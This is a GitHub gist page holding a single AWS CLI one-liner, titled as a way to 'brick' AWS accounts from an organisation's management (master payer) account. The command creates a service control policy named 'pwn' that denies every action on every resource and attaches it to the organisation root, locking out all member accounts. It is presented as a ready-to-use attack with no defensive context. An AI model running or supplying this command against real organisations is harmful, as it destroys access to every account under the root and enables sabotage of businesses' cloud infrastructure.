Skip to content

Instantly share code, notes, and snippets.

@kmcquade
Last active September 26, 2023 22:52
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save kmcquade/0373f277a1d558a189d012fa4baded35 to your computer and use it in GitHub Desktop.
Save kmcquade/0373f277a1d558a189d012fa4baded35 to your computer and use it in GitHub Desktop.
One-liner to brick AWS accounts from the Master Payer
aws organizations attach-policy \
--policy-id $(aws organizations create-policy --name pwn \
--type SERVICE_CONTROL_POLICY \
--description "pwn"
--content '{"Version": "2012-10-17","Statement": [{"Effect": "Deny", "Action": "*", "Resource": "*"}]}' \
| jq ".Policy.PolicySummary.Id"\
) \
--target-id $(aws organizations list-roots | jq ".Roots | .[0].Id")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment